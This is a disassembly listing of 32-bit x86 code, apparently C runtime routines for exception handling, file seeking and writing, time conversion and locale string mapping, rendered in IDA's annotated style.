push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D322
pop ecx
pop ecx
xor eax, eax
jmp short loc_42214E
sub_422167 endp
; ---------------------------------------------------------------------------
loc_42217F: ; DATA XREF: ___:004278A8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422187 proc near ; CODE XREF: sub_4220C1+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4D97B8, eax
mov eax, [ebp-20h]
mov dword_4D97BC, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_4221CC
cmp dword ptr [edi+10h], 3
jnz short locret_4221CC
cmp dword ptr [edi+14h], 19930520h
jnz short locret_4221CC
cmp [ebp-24h], ebx
jnz short locret_4221CC
cmp [ebp-2Ch], ebx
jz short locret_4221CC
call sub_41D38A
push eax
push edi
call sub_4223BB
pop ecx
pop ecx
locret_4221CC: ; CODE XREF: sub_422187+1Cj
; sub_422187+22j ...
retn
sub_422187 endp
; =============== S U B R O U T I N E =======================================
sub_4221CD proc near ; CODE XREF: sub_42215D+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4221F4
cmp dword ptr [eax+10h], 3
jnz short loc_4221F4
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4221F4
cmp dword ptr [eax+1Ch], 0
jnz short loc_4221F4
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4221F4: ; CODE XREF: sub_4221CD+Cj
; sub_4221CD+12j ...
xor eax, eax
retn
sub_4221CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221F7 proc near ; CODE XREF: sub_422046+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_4223A0
cmp byte ptr [eax+8], 0
jz loc_4223A0
mov eax, [ecx+8]
test eax, eax
jz loc_4223A0
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422294
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424680
pop ecx
pop ecx
test eax, eax
jz loc_422397
push 1
push edi
call sub_42469C
pop ecx
pop ecx
test eax, eax
jz loc_422397
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422285: ; CODE XREF: sub_4221F7+F5j
push eax
call sub_422422
pop ecx
pop ecx
mov [edi], eax
jmp loc_42239C
; ---------------------------------------------------------------------------
loc_422294: ; CODE XREF: sub_4221F7+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4222EE
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424680
pop ecx
pop ecx
test eax, eax
jz loc_422397
push 1
push edi
call sub_42469C
pop ecx
pop ecx
test eax, eax
jz loc_422397
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D400
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_42239C
mov eax, [edi]
test eax, eax
jz loc_42239C
add esi, 8
push esi
jmp short loc_422285
; ---------------------------------------------------------------------------
loc_4222EE: ; CODE XREF: sub_4221F7+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422336
call sub_424680
pop ecx
pop ecx
test eax, eax
jz loc_422397
push 1
push edi
call sub_42469C
pop ecx
pop ecx
test eax, eax
jz short loc_422397
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422422
pop ecx
pop ecx
push eax
push edi
call sub_41D400
add esp, 0Ch
jmp short loc_42239C
; ---------------------------------------------------------------------------
loc_422336: ; CODE XREF: sub_4221F7+103j
call sub_424680
pop ecx
pop ecx
test eax, eax
jz short loc_422397
push 1
push edi
call sub_42469C
pop ecx
pop ecx
test eax, eax
jz short loc_422397
push dword ptr [esi+18h]
call sub_4246B8
pop ecx
test eax, eax
jz short loc_422397
test byte ptr [esi], 4
jz short loc_42237D
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422422
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D035
jmp short loc_42239C
; ---------------------------------------------------------------------------
loc_42237D: ; CODE XREF: sub_4221F7+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422422
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D02E
jmp short loc_42239C
; ---------------------------------------------------------------------------
loc_422397: ; CODE XREF: sub_4221F7+6Aj
; sub_4221F7+7Cj ...
call sub_4224F2
loc_42239C: ; CODE XREF: sub_4221F7+98j
; sub_4221F7+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_4223A0: ; CODE XREF: sub_4221F7+2Ej
; sub_4221F7+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4221F7 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42249C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223BB proc near ; CODE XREF: sub_421CE6+170p
; sub_422187+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422402
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422402
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D02E
or [ebp+var_4], 0FFFFFFFFh
loc_422402: ; CODE XREF: sub_4223BB+2Aj
; sub_4223BB+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4223BB endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42249C
; =============== S U B R O U T I N E =======================================
sub_422422 proc near ; CODE XREF: sub_4221F7+8Fp
; sub_4221F7+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422443
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422443: ; CODE XREF: sub_422422+12j
pop esi
retn
sub_422422 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422450 proc near ; CODE XREF: sub_41D0C1+40p
; sub_421F92+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D3AD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42248F
mov ecx, 2
loc_42248F: ; CODE XREF: sub_422450+38j
push ecx
call sub_41D3AD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42249C proc near ; CODE XREF: sub_421CE6:loc_421E88j
; sub_422030:loc_422041j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4D97C4
test eax, eax
jz short loc_4224E4
mov [ebp+var_4], 1
call eax
jmp short loc_4224E0
; ---------------------------------------------------------------------------
loc_4224D9: ; DATA XREF: ___:004278E8o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4224DD: ; DATA XREF: ___:004278ECo
mov esp, [ebp+var_18]
loc_4224E0: ; CODE XREF: sub_42249C+3Bj
and [ebp+var_4], 0
loc_4224E4: ; CODE XREF: sub_42249C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4224ED: ; DATA XREF: ___:004278E0o
jmp loc_4246D0
sub_42249C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224F2 proc near ; CODE XREF: sub_41D263+23p
; sub_41D263:loc_41D2CEp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43AC54
test eax, eax
jz short loc_42253A
mov [ebp+var_4], 1
call eax ; sub_42249C
jmp short loc_422536
; ---------------------------------------------------------------------------
loc_42252F: ; DATA XREF: ___:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422533: ; DATA XREF: ___:00427904o
mov esp, [ebp+var_18]
loc_422536: ; CODE XREF: sub_4224F2+3Bj
and [ebp+var_4], 0
loc_42253A: ; CODE XREF: sub_4224F2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422543: ; DATA XREF: ___:004278F8o
jmp sub_42249C
sub_4224F2 endp
; =============== S U B R O U T I N E =======================================
sub_422548 proc near ; CODE XREF: sub_41D743+7p
; sub_41D743+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_41E477
test eax, eax
pop ecx
jz short loc_422560
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_422560: ; CODE XREF: sub_422548+Ej
push esi
push 0
push dword_4DADA0
call near ptr 264100Eh
nop
pop esi
retn
sub_422548 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422571 proc near ; CODE XREF: sub_41D81B+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_42262D
cmp ebx, 8Ah
jg loc_42262D
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43B11C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4225B0
cmp edi, 2
jle short loc_4225B0
inc esi
loc_4225B0: ; CODE XREF: sub_422571+37j
; sub_422571+3Cj
call sub_4246E7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43B038
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_422623
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422629
cmp dword_43B03C, 0
jz short loc_422629
lea eax, [ebp+var_24]
push eax
call sub_42495A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422629
loc_422623: ; CODE XREF: sub_422571+90j
add ecx, dword_43B040
loc_422629: ; CODE XREF: sub_422571+96j
; sub_422571+9Fj ...
mov eax, ecx
jmp short loc_422630
; ---------------------------------------------------------------------------
loc_42262D: ; CODE XREF: sub_422571+13j
; sub_422571+1Fj
or eax, 0FFFFFFFFh
loc_422630: ; CODE XREF: sub_422571+BAj
pop ebx
leave
retn
sub_422571 endp
; =============== S U B R O U T I N E =======================================
sub_422633 proc near ; CODE XREF: ___:0041D9F3p
; sub_41F051+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DAB60
push esi
push edi
jnb short loc_4226B5
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DAA60h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4226B5
push eax
call sub_4237AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422677
mov dword_4D9714, 9
jmp short loc_4226C6
; ---------------------------------------------------------------------------
loc_422677: ; CODE XREF: sub_422633+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 2791104h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422697
nop
call near ptr 2680DCDh
jmp short loc_422699
; ---------------------------------------------------------------------------
loc_422697: ; CODE XREF: sub_422633+5Aj
xor eax, eax
loc_422699: ; CODE XREF: sub_422633+62j
test eax, eax
jz short loc_4226A6
push eax
call sub_420314
pop ecx
jmp short loc_4226C6
; ---------------------------------------------------------------------------
loc_4226A6: ; CODE XREF: sub_422633+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4226C9
; ---------------------------------------------------------------------------
loc_4226B5: ; CODE XREF: sub_422633+Dj
; sub_422633+2Aj
and dword_4D9718, 0
mov dword_4D9714, 9
loc_4226C6: ; CODE XREF: sub_422633+42j
; sub_422633+71j
or eax, 0FFFFFFFFh
loc_4226C9: ; CODE XREF: sub_422633+80j
pop edi
pop esi
pop ebx
retn
sub_422633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226CD proc near ; CODE XREF: ___:0041D9B6p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4226E9
mov [edi+4], ebx
loc_4226E9: ; CODE XREF: sub_4226CD+17j
push 1
push ebx
push esi
call sub_422633
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_422757
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_42270E
sub eax, [edi+4]
jmp loc_422820
; ---------------------------------------------------------------------------
loc_42270E: ; CODE XREF: sub_4226CD+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422748
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DAA60[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_42275F
mov edx, ecx
loc_422739: ; CODE XREF: sub_4226CD+79j
cmp edx, eax
jnb short loc_42275F
cmp byte ptr [edx], 0Ah
jnz short loc_422745
inc [ebp+var_8]
loc_422745: ; CODE XREF: sub_4226CD+73j
inc edx
jmp short loc_422739
; ---------------------------------------------------------------------------
loc_422748: ; CODE XREF: sub_4226CD+50j
test dl, 80h
jnz short loc_42275F
mov dword_4D9714, 16h
loc_422757: ; CODE XREF: sub_4226CD+2Dj
or eax, 0FFFFFFFFh
jmp loc_422820
; ---------------------------------------------------------------------------
loc_42275F: ; CODE XREF: sub_4226CD+68j
; sub_4226CD+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_42276D
mov eax, [ebp+var_8]
jmp loc_422820
; ---------------------------------------------------------------------------
loc_42276D: ; CODE XREF: sub_4226CD+96j
test byte ptr [edi+0Ch], 1
jz loc_422818
mov edx, [edi+4]
test edx, edx
jnz short loc_422786
and [ebp+var_8], edx
jmp loc_422818
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_4226CD+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DAA60h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_422812
push 2
push 0
push [ebp+var_C]
call sub_422633
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4227D9
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4227C4: ; CODE XREF: sub_4226CD+104j
cmp eax, ecx
jnb short loc_4227D3
cmp byte ptr [eax], 0Ah
jnz short loc_4227D0
inc [ebp+arg_0]
loc_4227D0: ; CODE XREF: sub_4226CD+FEj
inc eax
jmp short loc_4227C4
; ---------------------------------------------------------------------------
loc_4227D3: ; CODE XREF: sub_4226CD+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_42280D
; ---------------------------------------------------------------------------
loc_4227D9: ; CODE XREF: sub_4226CD+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422633
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_422800
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_422800
test ch, 4
jz short loc_422803
loc_422800: ; CODE XREF: sub_4226CD+124j
; sub_4226CD+12Cj
mov eax, [edi+18h]
loc_422803: ; CODE XREF: sub_4226CD+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_42280D: ; CODE XREF: sub_4226CD+10Aj
jz short loc_422812
inc [ebp+arg_0]
loc_422812: ; CODE XREF: sub_4226CD+D9j
; sub_4226CD:loc_42280Dj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422818: ; CODE XREF: sub_4226CD+A4j
; sub_4226CD+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422820: ; CODE XREF: sub_4226CD+3Cj
; sub_4226CD+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4226CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422825 proc near ; CODE XREF: sub_41DA54+A2p
; sub_41E32B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DAB60
push esi
push edi
jnb loc_4229B9
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DAA60h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_4229B9
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_422876
loc_42286F: ; CODE XREF: sub_422825+177j
xor eax, eax
jmp loc_4229CD
; ---------------------------------------------------------------------------
loc_422876: ; CODE XREF: sub_422825+48j
test al, 20h
jz short loc_422886
push 2
push edi
push ecx
call sub_422633
add esp, 0Ch
loc_422886: ; CODE XREF: sub_422825+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422955
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_42298D
loc_4228A6: ; CODE XREF: sub_422825+F5j
lea eax, [ebp+var_414]
loc_4228AC: ; CODE XREF: sub_422825+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4228E0
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4228CB
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4228CB: ; CODE XREF: sub_422825+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4228AC
loc_4228E0: ; CODE XREF: sub_422825+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2720000h
test eax, eax
jz short loc_42294A
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_42291C
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_4228A6
loc_42291C: ; CODE XREF: sub_422825+EAj
; sub_422825+12Ej
xor edi, edi
loc_42291E: ; CODE XREF: sub_422825+150j
; sub_422825+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_4229B4
cmp [ebp+arg_0], edi
jz short loc_42298D
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422982
mov dword_4D9714, 9
mov dword_4D9718, eax
jmp loc_4229CA
; ---------------------------------------------------------------------------
loc_42294A: ; CODE XREF: sub_422825+E0j
nop
call near ptr 2680DCDh
mov [ebp+arg_0], eax
jmp short loc_42291C
; ---------------------------------------------------------------------------
loc_422955: ; CODE XREF: sub_422825+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 2720000h
nop
test eax, eax
jz short loc_422977
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_42291E
; ---------------------------------------------------------------------------
loc_422977: ; CODE XREF: sub_422825+145j
call near ptr 2680DCDh
nop
mov [ebp+arg_0], eax
jmp short loc_42291E
; ---------------------------------------------------------------------------
loc_422982: ; CODE XREF: sub_422825+10Fj
push [ebp+arg_0]
call sub_420314
pop ecx
jmp short loc_4229CA
; ---------------------------------------------------------------------------
loc_42298D: ; CODE XREF: sub_422825+7Bj
; sub_422825+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_4229A2
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_42286F
loc_4229A2: ; CODE XREF: sub_422825+16Fj
mov dword_4D9714, 1Ch
mov dword_4D9718, edi
jmp short loc_4229CA
; ---------------------------------------------------------------------------
loc_4229B4: ; CODE XREF: sub_422825+FEj
sub eax, [ebp+var_10]
jmp short loc_4229CD
; ---------------------------------------------------------------------------
loc_4229B9: ; CODE XREF: sub_422825+15j
; sub_422825+37j
and dword_4D9718, 0
mov dword_4D9714, 9
loc_4229CA: ; CODE XREF: sub_422825+120j
; sub_422825+166j ...
or eax, 0FFFFFFFFh
loc_4229CD: ; CODE XREF: sub_422825+4Cj
; sub_422825+192j
pop edi
pop esi
pop ebx
leave
retn
sub_422825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229D2 proc near ; CODE XREF: sub_41DD4A+47p
; sub_41DD4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427910
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4D97E8, edi
jnz short loc_422A48
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427908
mov esi, 100h
push esi
push edi
nop
call near ptr 2630000h
test eax, eax
jz short loc_422A26
mov dword_4D97E8, ebx
jmp short loc_422A48
; ---------------------------------------------------------------------------
loc_422A26: ; CODE XREF: sub_4229D2+4Aj
push edi
push edi
push ebx
push offset word_4C91BC
push esi
push edi
call near ptr 2640000h
nop
test eax, eax
jz loc_422B60
mov dword_4D97E8, 2
loc_422A48: ; CODE XREF: sub_4229D2+2Ej
; sub_4229D2+52j
cmp [ebp+arg_C], edi
jle short loc_422A5D
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42605C
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422A5D: ; CODE XREF: sub_4229D2+79j
mov eax, dword_4D97E8
cmp eax, 2
jnz short loc_422A84
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
jmp loc_422B62
; ---------------------------------------------------------------------------
loc_422A84: ; CODE XREF: sub_4229D2+93j
cmp eax, 1
jnz loc_422B60
cmp [ebp+arg_18], edi
jnz short loc_422A9A
mov eax, dword_4D97E0
mov [ebp+arg_18], eax
loc_422A9A: ; CODE XREF: sub_4229D2+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call near ptr 2700000h
nop
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422B60
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422AF5
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422AF5: ; CODE XREF: sub_4229D2+10Ej
cmp [ebp+var_24], edi
jz short loc_422B60
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2700000h
test eax, eax
jz short loc_422B60
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2630000h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422B60
test byte ptr [ebp+arg_4+1], 4
jz short loc_422B74
cmp [ebp+arg_14], edi
jz loc_422BEF
cmp esi, [ebp+arg_14]
jg short loc_422B60
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2630000h
test eax, eax
jnz loc_422BEF
loc_422B60: ; CODE XREF: sub_4229D2+66j
; sub_4229D2+B5j ...
xor eax, eax
loc_422B62: ; CODE XREF: sub_4229D2+ADj
; sub_4229D2+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422B74: ; CODE XREF: sub_4229D2+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BA8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422BA8: ; CODE XREF: sub_4229D2+1C2j
cmp ebx, edi
jz short loc_422B60
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2630000h
nop
test eax, eax
jz short loc_422B60
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422BCF
push edi
push edi
jmp short loc_422BD5
; ---------------------------------------------------------------------------
loc_422BCF: ; CODE XREF: sub_4229D2+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422BD5: ; CODE XREF: sub_4229D2+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 28310EEh
mov esi, eax
cmp esi, edi
jz loc_422B60
loc_422BEF: ; CODE XREF: sub_4229D2+165j
; sub_4229D2+188j
mov eax, esi
jmp loc_422B62
sub_4229D2 endp
; ---------------------------------------------------------------------------
push ebp
